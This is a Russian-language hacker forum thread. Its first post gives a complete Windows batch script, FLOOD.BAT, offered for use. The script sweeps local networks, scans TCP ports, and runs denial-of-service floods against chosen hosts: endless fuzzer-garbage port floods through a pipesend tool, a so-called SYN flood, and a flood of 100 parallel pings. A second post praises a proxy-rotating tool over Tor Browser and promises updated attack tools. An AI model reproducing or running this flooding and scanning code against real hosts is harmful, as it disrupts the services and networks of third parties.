Talomir #434 | Вторник, 06.08.2024, 18:57
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
УЛУЧШЕНИЕ СКРИПТА FLOOD.BAT

Нужны компоненты pipesend.exe и phrase.exe, есть в nethack-suite-1.0

Код
@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall
if "%1" == "--power" goto Power
if "%1" == "--syn" goto Syn
if "%1" == "--syncrash" goto Syncrash
if "%1" == "--icmp" goto Icmp

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
echo flood --power host port                  run power attack to host:port with 3 crashing port windows
echo flood --syn host port                    run synflood attack to host:port with 100 crashing united windows
echo flood --icmp host                        run icmpflood attack to host with 100 crashing united windows
goto exit_me

:Power
for %%n in (1, 1, 3) do start /B flood.bat --crashport phrase.exe %3 %2
goto exit_me

:Syn
for %%n in (1, 1, 100) do start /B flood.bat --syncrash %2 %3
goto exit_me

:Syncrash
echo A|pipesend %2 %3
goto Syncrash

:Icmp
for %%n in (1, 1, 100) do start /B ping -t %2
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Вторник, 06.08.2024, 19:42
Статус: нет меня
 
Talomir #435 | Воскресенье, 11.08.2024, 06:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
LOGPROXY ЛУЧШЕ ЧЕМ TOR BROWSER

Поюзал два дня Tor Browser, и вернулся к logproxy. Последний - лучше, ждать приходится и там и там, но в tor browser приходится сидеть парализованным пока соединиться, а в logproxy можно смотреть в окно с пробуемыми проксями пока не побегут байты обмена по протоколу HTTPS или HTTP. Так лучше, не фрустирует.

Окончательно удалил с компьютера Tor Browser когда не смог настроить беспарольное соединение с каналом. Настройки неудобные, не документированные, вешают браузер при ошибке в конфиге. Посидел несколько часов, не добился своего и удалил этот инвалид-софт....

Последнюю версию logproxy со сменой IP hаз в минуту выложу следующим постом, там же обновлённые food.exe, flood.bat, pipesend, hacker4 и rewriter studio, из того, что легко запомнить....!



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 11.08.2024, 06:50
Статус: нет меня
 
Поиск:

[ Новые сообщения на форуме ]



Форма входа